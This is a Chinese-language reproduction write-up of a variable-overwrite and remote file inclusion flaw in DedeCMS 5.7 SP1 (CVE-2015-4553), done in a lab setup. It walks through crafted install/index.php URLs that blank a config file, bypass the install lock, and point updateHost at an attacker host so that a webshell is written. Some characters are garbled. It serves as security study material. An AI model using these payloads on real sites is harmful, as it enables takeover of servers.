一、漏洞描述
該漏洞在/install/index.php(index.php.bak)
文件中,漏洞起因是$$符號使用不當(dāng),導(dǎo)致變量覆蓋,以至于最后引起遠(yuǎn)程文件包含漏洞。
二、漏洞影響版本
DeDeCMS 5.7-sp1,包括5.7 sp1版本
三、漏洞環(huán)境搭建
1、下載DeDeCMS V5.7 SP1,然后放到phpstudy環(huán)境下的www目錄下,然后瀏覽器訪http://192.168.10.171/dedecms/uploads/install/index.php
2、點(diǎn)擊我已閱讀并繼續(xù)。然后是環(huán)境檢測,保存默認(rèn)即可
3、接下來是參數(shù)配置,需要設(shè)置的只有數(shù)據(jù)庫密碼,把自己的密碼填上去就行了
4、然后就把環(huán)境搭好了
四、漏洞復(fù)現(xiàn)
1、查看/install/index.php源碼,發(fā)現(xiàn)存在變量覆蓋漏洞,該代碼的意思是將get,post或者cookie方式傳入的值通過foreach以鍵值對的方式輸出,例如在url中輸入?str=hello,則$_k的值就是str,$_v的值就是hello,所以${$_k}就是$str, 后面的RunMagicQuotes函數(shù)在另一個(gè)文件中定義的,大致就是對參數(shù)進(jìn)行過濾然后返回參數(shù)內(nèi)容。
2、嘗試通過變量覆蓋重裝網(wǎng)站,瀏覽器訪問
3、變量覆蓋后,直接進(jìn)入安裝界面,但是由于安裝鎖的存在不能繼續(xù)重新安裝,除非刪除安裝鎖http://192.168.10.171/dedecms/uploads/install/index.php?insLockfile=1
4、只有變量覆蓋暫時(shí)還不夠,繼續(xù)瀏覽代碼,發(fā)現(xiàn)最后幾行代碼
4.1、這段代碼首先包含了/data/admin/config_update.php文件, 這里定義了變量updateHost
文件內(nèi)容如下:
4.2、繼續(xù)看373-387行代碼,$updateHost與dedecms/demodata.{$a_lang}.txt
拼接為字符串,并利用files_get_contents
函數(shù)讀取demodata.{$s_lang}.txt
文件內(nèi)容,最后將該文件內(nèi)容寫入到$install_demo_name
參數(shù)中。
4.3、因此我們可以結(jié)合上面的變量覆蓋漏洞來進(jìn)行遠(yuǎn)程文件包含,直接寫webshell。
5、由于$updateHost變量是引入進(jìn)來的,所以不能直接進(jìn)行覆蓋,需要先將config_update.php文件清空再包含。
5.1、這時(shí)候可以利用fopen函數(shù)來實(shí)現(xiàn),可以看到fopen中的參數(shù)是w,會直接重寫文件,而file_get_contents
讀取文件失敗會返回NULL
5.2、然后利用fwrite函數(shù),這里可以利用變量覆蓋,將$s_lang隨意取名成不存在的文件名, $install_demo_name
指向”../data/admin/config_update.php”,為了程序能夠執(zhí)行到這里,需要將$step設(shè)置為11,這樣就達(dá)到了清空config_update.php的目的。
構(gòu)造payload: http://192.168.10.171/dedecms/uploads/install/index.php?
step=11s_lang=testinstall_demo_name=…/data/admin/config_update.php
瀏覽器訪問,提示如下
5.3、查看代碼,發(fā)現(xiàn)這里有一個(gè)判斷文件是否存在(也就是判斷網(wǎng)站是否安裝)的條件,通過變量覆蓋漏洞將$insLockfile構(gòu)造成任意不存在的文件就可以繞過這個(gè)條件的限制
5.4、再次構(gòu)造payload:
http://192.168.10.171/dedecms/uploads/install/index.php?step=11s_lang=testinsLockfile=testinstall_demo_name=../data/admin/config_update.php
5.5、此時(shí)可以看到config_update.php會發(fā)現(xiàn)已經(jīng)變?yōu)?kb,空文件
5.6、config_update.php文件內(nèi)容被清空之后,這時(shí)我們就可以控制updateHost參數(shù)了,這時(shí)我們就可以開始遠(yuǎn)程文件包含上傳我們想要上傳的文件了
5.7、在kali上創(chuàng)建一個(gè)dedecms文件夾,然后創(chuàng)建一個(gè)demodata.gb2312.txt,寫入?php phpinfo();?> ,然后開啟web服務(wù)
5.8、再次構(gòu)造payload, install_demo_name改為要上傳的路徑,updateHost改為遠(yuǎn)程目標(biāo)機(jī)的IP
Payload如下:
http://192.168.10.171/dedecms/uploads/install/index.php?step=11insLockfile=testinstall_demo_name=../shell.phpupdateHost=http://192.168.10.140/
瀏覽器訪問,出現(xiàn)界面說明寫入成功
5.9、查看是否上傳成功,確定上傳成功
6、瀏覽器訪問上傳的shell.php
總結(jié)
以上所述是小編給大家介紹的DedeCMS 5.7 sp1遠(yuǎn)程文件包含漏洞(CVE-2015-4553),希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時(shí)回復(fù)大家的。在此也非常感謝大家對腳本之家網(wǎng)站的支持!
如果你覺得本文對你有幫助,歡迎轉(zhuǎn)載,煩請注明出處,謝謝!
您可能感興趣的文章:- Dedecms getip()的漏洞利用代碼
- dedecms v5.1 WriteBookText() code injection vul注入漏洞